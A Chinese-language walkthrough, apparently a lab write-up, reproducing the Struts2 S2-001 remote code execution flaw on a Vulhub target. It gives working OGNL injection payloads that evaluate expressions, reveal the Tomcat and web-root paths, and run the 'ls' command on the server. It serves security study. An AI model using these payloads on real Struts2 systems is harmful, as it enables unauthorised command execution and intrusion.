Vulnhub-Struts2系列漏洞
S2-001 远程代码执行漏洞
漏洞简述
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。
影响版本:
Struts 2.0.0 – Struts 2.0.8
准备环境
启动Vulnhub靶机环境:
![]()
![]()
验证靶机应用启用成功:

漏洞复现
测试漏洞,%{1+1}

提交后报错返回解析为2,确认漏洞存在。

获取tomcat执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

Tomcat的执行路径:tomcatBinDir{/usr/local/tomcat}
获取Web路径:
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

/usr/local/tomcat/webapps/ROOT/
执行命令
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

漏洞利用成功。








